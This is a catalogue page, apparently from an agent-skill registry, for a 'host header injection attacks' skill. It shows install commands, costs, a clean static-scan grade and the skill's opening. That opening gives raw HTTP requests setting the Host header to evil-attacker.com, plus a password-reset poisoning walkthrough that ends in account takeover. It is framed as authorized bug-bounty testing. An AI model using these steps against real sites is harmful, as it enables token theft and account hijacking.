Getting it into your agent
It runs from inside its repository, so the clone comes first — what it calls does not travel with the file alone.
git clone --depth 1 https://github.com/akashrpatil/awesome-offensive-security-skillsnpx agentmods add skills/akashrpatil/awesome-offensive-security-skills/host-header-injection-attacksWrote this? Show the measurements
A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.
[](https://agentmods.dev/skills/akashrpatil/awesome-offensive-security-skills/host-header-injection-attacks)<a href="https://agentmods.dev/skills/akashrpatil/awesome-offensive-security-skills/host-header-injection-attacks"><img src="https://agentmods.dev/badge/skills/akashrpatil/awesome-offensive-security-skills/host-header-injection-attacks/github.svg" alt="Measured on agentmods" height="20"></a>Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.
<a href="https://agentmods.dev/skills/akashrpatil/awesome-offensive-security-skills/host-header-injection-attacks"><img src="https://agentmods.dev/badge/skills/akashrpatil/awesome-offensive-security-skills/host-header-injection-attacks.svg" alt="Reviewed on agentmods" width="80" height="20"></a>What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5.1 | $0.00068 | $0.02372 |
| Opus 5 | $0.00034 | $0.01186 |
| Sonnet 5 | $0.00014 | $0.00474 |
| Haiku 4.5 | $0.00007 | $0.00237 |
Grade A, and why
host-header-injection-attacks scanned grade A with 0 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 7d ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Nothing flagged
None of the 26 patterns this scan looks for appear in this file: no shell pipes, no recursive deletes, no credential paths, no hidden text, no instruction-override or anti-refusal phrasing, no agent-config snooping. That is not a guarantee, it is the absence of the things that are checkable.
This is a copy
100% identical to host-header-injection-attacks — 0 lines differ, which has more behind it and is treated as the original. This page carries a canonical link to it rather than competing with it.
How it starts
The opening of the file, as written. The whole thing — 211 lines — stays where its author put it; the contents beside it link to each section on GitHub.
Host Header Injection Attacks
When to Use
- When testing Password Reset functionalities that generate emails containing "click here" links.
- When an application performs HTTP 301/302 redirects back to its own domain based on the Host header.
- To bypass virtual host routing to access internal development servers (e.g., accessing an unlisted
admin.target.localhost). - To combine with Web Cache Poisoning to serve malicious absolute URLs to innocent users.
Prerequisites
- Authorized scope and target URLs from bug bounty program
- Burp Suite Professional (or Community) configured with browser proxy
- Familiarity with OWASP Top 10 and common web vulnerability classes
- SecLists wordlists for fuzzing and enumeration
Workflow
Phase 1: Probing for Reflection
# Concept: The HTTP standard requires clients to supply a `Host` header indicating which
# website they want to communicate with. If developers dynamically use this variable (e.g., `$_SERVER['HTTP_HOST']` in PHP)
# instead of a static config, we can inject arbitrary domains.
# 1. Standard Request
GET /login HTTP/1.1
Host: target.com
HTTP/1.1 200 OK
<link rel="stylesheet" href="https://target.com/style.css">
# 2. Injected Request (Modify the Host header)
GET /login HTTP/1.1
Host: evil-attacker.com
# 3. Analyze Response
HTTP/1.1 200 OK
<link rel="stylesheet" href="https://evil-attacker.com/style.css">
# CRITICAL VULNERABILITY: The server blindly trusted our Host header to generate absolute URLs!
Phase 2: Exploiting Password Reset Poisoning (High Impact)
# Concept: Password resets send an email to the victim containing a unique token.
# If the link domain is generated via the Host header, the attacker intercepts the token.
# 1. Attacker requests a password reset for [email protected]
POST /reset_password HTTP/1.1
Host: evil-attacker.com
Content-Type: application/x-www-form-urlencoded
[email protected]
# 2. What happens on the backend:
# Server generates token `XYZ123`.
# Server constructs email: "Click here to reset: https://" + HTTP_HOST + "/reset?token=XYZ123"
# The backend emails the victim: "Click here to reset: https://evil-attacker.com/reset?token=XYZ123"
# 3. Execution:
# Victim receives legitimate email from `[email protected]`.
# Victim clicks the heavily disguised link.
# The victim's browser navigates to `evil-attacker.com/reset?token=XYZ123`.
# The attacker logs the token, navigates to `target.com/reset?token=XYZ123`, and changes the victim's password. Account Takeover!
What ships with it
2 files beside SKILL.md in the same directory: the scripts, references and assets a skill reads on demand. Not counted in the per-session cost; read them before you install if any of them is executable.
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 7d ago First seen · 211 lines · 68 tokens per session scan A 419438ccdf4e
host-header-injection-attacks is a skill published in the GitHub repository akashrpatil/awesome-offensive-security-skills (4 stars, last pushed 4mo ago), licensed Apache-2.0. It adds 68 tokens to every session and 2,372 once invoked, about $0.0003 per session on Opus 5. A static security scan graded it A with 0 findings. It is 100% identical to host-header-injection-attacks, differing in 0 lines, and is treated as a copy.
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